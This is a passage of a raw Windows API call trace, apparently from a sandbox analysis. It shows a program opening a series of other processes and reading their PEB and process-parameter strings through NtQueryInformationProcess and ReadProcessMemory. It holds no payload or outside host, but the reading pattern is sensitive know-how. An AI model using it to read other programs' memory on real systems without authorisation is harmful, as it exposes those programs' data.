_Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5552") returned 0x0 [0313.449] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5552") returned 4 [0313.450] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.450] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.451] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0xa9c [0313.451] GetLastError () returned 0x0 [0313.451] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.452] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.452] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.452] malloc (_Size=0x5e) returned 0xeb63f0 [0313.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ae, lpBuffer=0xeb63f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.453] free (_Block=0xeb63f0) [0313.453] CloseHandle (hObject=0xa9c) returned 1 [0313.453] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0313.453] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5580") returned 4 [0313.453] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.454] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.454] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0xa9c [0313.454] GetLastError () returned 0x0 [0313.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.456] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.456] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.456] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.456] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.456] malloc (_Size=0x66) returned 0xeb61c0 [0313.456] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722b6, lpBuffer=0xeb61c0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0313.457] free (_Block=0xeb61c0) [0313.457] CloseHandle (hObject=0xa9c) returned 1 [0313.457] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0313.458] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5600") returned 4 [0313.458] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.458] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.459] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0xa9c [0313.459] GetLastError () returned 0x0 [0313.459] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.460] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.460] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.460] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.460] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.460] malloc (_Size=0x6c) returned 0xea8ba0 [0313.460] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922bc, lpBuffer=0xea8ba0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0313.461] free (_Block=0xea8ba0) [0313.461] CloseHandle (hObject=0xa9c) returned 1 [0313.461] _ui64tow_s (in: _Value=0x1614, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0313.462] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5652") returned 4 [0313.462] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.462] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0xa9c [0313.463] GetLastError () returned 0x0 [0313.463] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.464] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.464] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.465] malloc (_Size=0x54) returned 0xeaa710 [0313.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22a4, lpBuffer=0xeaa710, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa710*, lpNumberOfBytesRead=0x0) returned 1 [0313.466] free (_Block=0xeaa710) [0313.466] CloseHandle (hObject=0xa9c) returned 1 [0313.466] _ui64tow_s (in: _Value=0x161c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0313.466] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5660") returned 4 [0313.467] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.467] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0xa9c [0313.468] GetLastError () returned 0x0 [0313.468] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.469] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.469] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.469] malloc (_Size=0x6c) returned 0xea8ca0 [0313.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a22bc, lpBuffer=0xea8ca0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0313.470] free (_Block=0xea8ca0) [0313.470] CloseHandle (hObject=0xa9c) returned 1 [0313.470] _ui64tow_s (in: _Value=0x1638, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0313.471] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5688") returned 4 [0313.471] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.471] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1638) returned 0xa9c [0313.472] GetLastError () returned 0x0 [0313.472] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762258, lpBuffer=0x5ec5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.473] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.473] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.473] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.473] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x761c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.473] malloc (_Size=0x78) returned 0xea8f20 [0313.473] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7622c8, lpBuffer=0xea8f20, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0313.474] free (_Block=0xea8f20) [0313.474] CloseHandle (hObject=0xa9c) returned 1 [0313.474] _ui64tow_s (in: _Value=0x1640, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0313.475] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5696") returned 4 [0313.475] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.475] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.476] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0xa9c [0313.476] GetLastError () returned 0x0 [0313.476] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.477] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.477] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.477] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.477] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.477] malloc (_Size=0x6e) returned 0xea8a20 [0313.477] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22be, lpBuffer=0xea8a20, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8a20*, lpNumberOfBytesRead=0x0) returned 1 [0313.478] free (_Block=0xea8a20) [0313.479] CloseHandle (hObject=0xa9c) returned 1 [0313.479] _ui64tow_s (in: _Value=0x1648, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0313.479] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5704") returned 4 [0313.479] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.479] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0xa9c [0313.480] GetLastError () returned 0x0 [0313.480] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.480] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.480] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.481] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.481] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.481] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.481] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.481] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.481] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.482] malloc (_Size=0x6c) returned 0xea9020 [0313.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222bc, lpBuffer=0xea9020, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0313.482] free (_Block=0xea9020) [0313.482] CloseHandle (hObject=0xa9c) returned 1 [0313.483] _ui64tow_s (in: _Value=0x1650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: 